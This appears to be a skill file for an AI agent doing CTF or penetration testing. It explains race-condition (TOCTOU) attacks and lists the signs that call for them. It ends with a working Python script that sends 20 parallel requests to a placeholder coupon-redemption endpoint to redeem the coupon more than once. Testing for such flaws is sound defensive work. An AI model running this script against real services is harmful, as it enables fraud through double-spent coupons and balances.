race-condition

Race Conditions (TOCTOU)

Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.

Recognition Signals

Trigger this skill when ANY of the following are present:

• Slow auth path: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
• session[k] = form[k] BEFORE validation: e.g. login writes session["user"] = posted_username before checking the password — the session row carries attacker-chosen state during the bcrypt sleep.
• Check-then-act money flows: balance/quota/coupon/transfer endpoints that do if x.balance >= n: x.balance -= n without a single atomic UPDATE-with-WHERE-balance>=n.
• Idempotency-key-less POSTs to mutating endpoints — same payload N times in parallel produces N writes.
• Challenge tag includes race_condition, toctou, concurrent, last-write-wins, or double-spend. (Note: smuggling_desync is a parser-disagreement attack, NOT a race — route to /skills/standard/exploit/web/smuggling/SKILL.md.)
• Session-coupled endpoints: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.

Single-Endpoint Race — Double Submit

Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.

# python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30
python3 - <<'PY'
import concurrent.futures, requests, sys

URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20

def fire(_):
    return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code

with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
    codes = list(ex.map(fire, range(N)))

print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY